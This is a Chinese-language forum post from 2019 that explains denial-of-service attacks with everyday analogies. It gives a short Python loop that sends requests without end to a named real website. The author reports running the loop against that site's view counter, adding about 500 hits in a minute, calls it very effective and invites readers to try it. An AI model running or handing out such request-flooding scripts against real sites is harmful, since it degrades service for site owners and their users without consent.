打印

利用PythonDOS一个网站

[复制链接]
819|1
手机看帖
扫描二维码
随时随地手机跟帖
跳转到指定楼层
楼主
gaoyang9992006|  楼主 | 2019-4-17 18:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。
我们知道一个网站的吞吐能力是有限的,如果发起访问的次数超过了这个界限就会导致其他想要访问的人无法访问,就好比,饭店门口就那么宽,如果找一群闲散人员堵在门口排队,那正常想进去的人就进不去了。
就好比马云的无人超时里堵满了大妈一样,导致想买东西的年轻人进不去。
如果单个机器对目标进行不间断访问那就是DOS攻击,好比一个人来回的在人家那挂号,导致其他挂号的人不容易挂上。
import urllib.request
url="http://www.zkrsks.com/new/16384.shtml"
i=1
while i:
    req=urllib.request.Request(url)
    resp=urllib.request.urlopen(req)



刚好我看到一个可以对访问请求进行计数的网页,然后就拿它做实验,看是否能运行代码后导致快速计数增加,另外测试该网站是否有应对攻击的能力。
经过测试是有的。

使用特权

评论回复

相关帖子

沙发
gaoyang9992006|  楼主 | 2019-4-17 18:42 | 只看该作者
测试:【浏览:12517人次】 【发布时间 :2019-04-12】运行程序
……
如果目标具备防止攻击的能力,将会拦截该程序的请求,并导致程序提前结束。
运行一分钟后【浏览:12998人次】 【发布时间 :2019-04-12】
我们看到几乎增加了500次的点击量,说明这个程序是非常有效的。大家可以测试学习。

使用特权

评论回复
发新帖 我要提问
您需要登录后才可以回帖 登录 | 注册

本版积分规则

认证:西安公路研究院南京院
简介:主要工作从事监控网络与通信网络设计,以及从事基于嵌入式的通信与控制设备研发。擅长单片机嵌入式系统物联网设备开发,音频功放电路开发。

1966

主题

15954

帖子

208

粉丝